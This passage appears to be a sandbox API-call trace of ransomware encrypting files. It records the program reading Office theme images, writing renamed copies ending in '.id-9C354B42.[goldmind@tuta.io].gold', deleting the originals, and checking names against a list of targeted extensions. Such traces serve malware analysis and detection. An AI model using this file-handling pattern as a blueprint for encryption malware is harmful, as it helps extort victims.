GetFileSizeEx (in: hFile=0x204, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=5179) returned 1 [0041.849] CloseHandle (hObject=0x204) returned 1 [0041.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0041.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.849] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.849] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0041.851] GetLastError () returned 0x0 [0041.851] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x143b, lpOverlapped=0x0) returned 1 [0041.852] WriteFile (in: hFile=0x184, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x1440, lpOverlapped=0x0) returned 1 [0041.853] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.853] WriteFile (in: hFile=0x184, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.853] SetEndOfFile (hFile=0x184) returned 1 [0041.853] CloseHandle (hObject=0x184) returned 1 [0041.853] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.853] SetEndOfFile (hFile=0x204) returned 1 [0041.854] CloseHandle (hObject=0x204) returned 1 [0041.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.854] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 1 [0041.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0041.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0041.854] lstrlenW (lpString=".doc") returned 4 [0041.854] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.854] lstrlenW (lpString=".docx") returned 5 [0041.854] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.854] lstrlenW (lpString=".pdf") returned 4 [0041.854] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.854] lstrlenW (lpString=".xls") returned 4 [0041.854] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.854] lstrlenW (lpString=".xlsx") returned 5 [0041.854] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.854] lstrlenW (lpString=".ppt") returned 4 [0041.854] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0041.855] lstrlenW (lpString=".zip") returned 4 [0041.855] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.855] lstrlenW (lpString=".rar") returned 4 [0041.855] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.855] lstrlenW (lpString=".bz2") returned 4 [0041.855] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.855] lstrlenW (lpString=".7z") returned 3 [0041.855] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0041.855] lstrlenW (lpString=".dbf") returned 4 [0041.855] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0041.855] lstrlenW (lpString=".1cd") returned 4 [0041.855] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0041.855] lstrlenW (lpString=".jpg") returned 4 [0041.855] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0041.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0041.855] lstrlenW (lpString=".doc") returned 4 [0041.855] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.855] lstrlenW (lpString=".docx") returned 5 [0041.855] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.855] lstrlenW (lpString=".pdf") returned 4 [0041.855] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.855] lstrlenW (lpString=".xls") returned 4 [0041.855] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.855] lstrlenW (lpString=".xlsx") returned 5 [0041.855] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.855] lstrlenW (lpString=".ppt") returned 4 [0041.855] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0041.855] lstrlenW (lpString=".zip") returned 4 [0041.855] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.855] lstrlenW (lpString=".rar") returned 4 [0041.855] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.855] lstrlenW (lpString=".bz2") returned 4 [0041.855] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.855] lstrlenW (lpString=".7z") returned 3 [0041.855] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0041.855] lstrlenW (lpString=".dbf") returned 4 [0041.855] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0041.855] lstrlenW (lpString=".1cd") returned 4 [0041.855] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0041.855] lstrlenW (lpString=".jpg") returned 4 [0041.855] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.855] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0041.856] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0041.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.856] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=33559) returned 1 [0041.856] CloseHandle (hObject=0x204) returned 1 [0041.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0041.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.856] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.856] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0041.856] GetLastError () returned 0x0 [0041.856] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x8317, lpOverlapped=0x0) returned 1 [0041.858] WriteFile (in: hFile=0x184, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x8320, lpOverlapped=0x0) returned 1 [0041.859] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.859] WriteFile (in: hFile=0x184, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.859] SetEndOfFile (hFile=0x184) returned 1 [0041.859] CloseHandle (hObject=0x184) returned 1 [0041.860] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.860] SetEndOfFile (hFile=0x204) returned 1 [0041.860] CloseHandle (hObject=0x204) returned 1 [0041.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.861] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 1 [0041.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0041.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0041.861] lstrlenW (lpString=".doc") returned 4 [0041.861] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.861] lstrlenW (lpString=".docx") returned 5 [0041.861] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.861] lstrlenW (lpString=".pdf") returned 4 [0041.861] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.861] lstrlenW (lpString=".xls") returned 4 [0041.861] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.861] lstrlenW (lpString=".xlsx") returned 5 [0041.861] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.861] lstrlenW (lpString=".ppt") returned 4 [0041.861] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0041.861] lstrlenW (lpString=".zip") returned 4 [0041.861] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.861] lstrlenW (lpString=".rar") returned 4 [0041.861] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.861] lstrlenW (lpString=".bz2") returned 4 [0041.861] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.861] lstrlenW (lpString=".7z") returned 3 [0041.861] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0041.861] lstrlenW (lpString=".dbf") returned 4 [0041.861] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0041.861] lstrlenW (lpString=".1cd") returned 4 [0041.861] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0041.861] lstrlenW (lpString=".jpg") returned 4 [0041.861] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0041.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0041.862] lstrlenW (lpString=".doc") returned 4 [0041.862] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.862] lstrlenW (lpString=".docx") returned 5 [0041.862] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.862] lstrlenW (lpString=".pdf") returned 4 [0041.862] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.862] lstrlenW (lpString=".xls") returned 4 [0041.862] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.862] lstrlenW (lpString=".xlsx") returned 5 [0041.862] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.862] lstrlenW (lpString=".ppt") returned 4 [0041.862] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0041.862] lstrlenW (lpString=".zip") returned 4 [0041.862] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.862] lstrlenW (lpString=".rar") returned 4 [0041.862] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.862] lstrlenW (lpString=".bz2") returned 4 [0041.862] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.862] lstrlenW (lpString=".7z") returned 3 [0041.862] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0041.862] lstrlenW (lpString=".dbf") returned 4 [0041.862] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0041.862] lstrlenW (lpString=".1cd") returned 4 [0041.862] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0041.862] lstrlenW (lpString=".jpg") returned 4 [0041.862] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.862] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0041.862] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0041.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.862] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2476) returned 1 [0041.862] CloseHandle (hObject=0x204) returned 1 [0041.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0041.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.863] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.863] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.864] GetLastError () returned 0x0 [0041.864] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x9ac, lpOverlapped=0x0) returned 1 [0041.866] WriteFile (in: hFile=0x19c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0041.866] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.866] WriteFile (in: hFile=0x19c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.866] SetEndOfFile (hFile=0x19c) returned 1 [0041.866] CloseHandle (hObject=0x19c) returned 1 [0041.867] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.867] SetEndOfFile (hFile=0x204) returned 1 [0041.867] CloseHandle (hObject=0x204) returned 1 [0041.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.867] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 1 [0041.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0041.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0041.868] lstrlenW (lpString=".doc") returned 4 [0041.868] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.868] lstrlenW (lpString=".docx") returned 5 [0041.868] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.868] lstrlenW (lpString=".pdf") returned 4 [0041.868] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.868] lstrlenW (lpString=".xls") returned 4 [0041.868] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.868] lstrlenW (lpString=".xlsx") returned 5 [0041.868] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.868] lstrlenW (lpString=".ppt") returned 4 [0041.868] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0041.868] lstrlenW (lpString=".zip") returned 4 [0041.868] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.868] lstrlenW (lpString=".rar") returned 4 [0041.868] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.868] lstrlenW (lpString=".bz2") returned 4 [0041.868] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.868] lstrlenW (lpString=".7z") returned 3 [0041.868] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0041.868] lstrlenW (lpString=".dbf") returned 4 [0041.868] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0041.868] lstrlenW (lpString=".1cd") returned 4 [0041.868] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0041.868] lstrlenW (lpString=".jpg") returned 4 [0041.868] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0041.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0041.868] lstrlenW (lpString=".doc") returned 4 [0041.868] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.868] lstrlenW (lpString=".docx") returned 5 [0041.868] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.868] lstrlenW (lpString=".pdf") returned 4 [0041.868] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.868] lstrlenW (lpString=".xls") returned 4 [0041.868] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.868] lstrlenW (lpString=".xlsx") returned 5 [0041.868] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.868] lstrlenW (lpString=".ppt") returned 4 [0041.868] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0041.868] lstrlenW (lpString=".zip") returned 4 [0041.868] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.868] lstrlenW (lpString=".rar") returned 4 [0041.868] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.868] lstrlenW (lpString=".bz2") returned 4 [0041.869] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.869] lstrlenW (lpString=".7z") returned 3 [0041.869] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0041.869] lstrlenW (lpString=".dbf") returned 4 [0041.869] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0041.869] lstrlenW (lpString=".1cd") returned 4 [0041.869] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0041.869] lstrlenW (lpString=".jpg") returned 4 [0041.869] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.869] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0041.869] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0041.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.869] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=19485) returned 1 [0041.869] CloseHandle (hObject=0x204) returned 1 [0041.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program 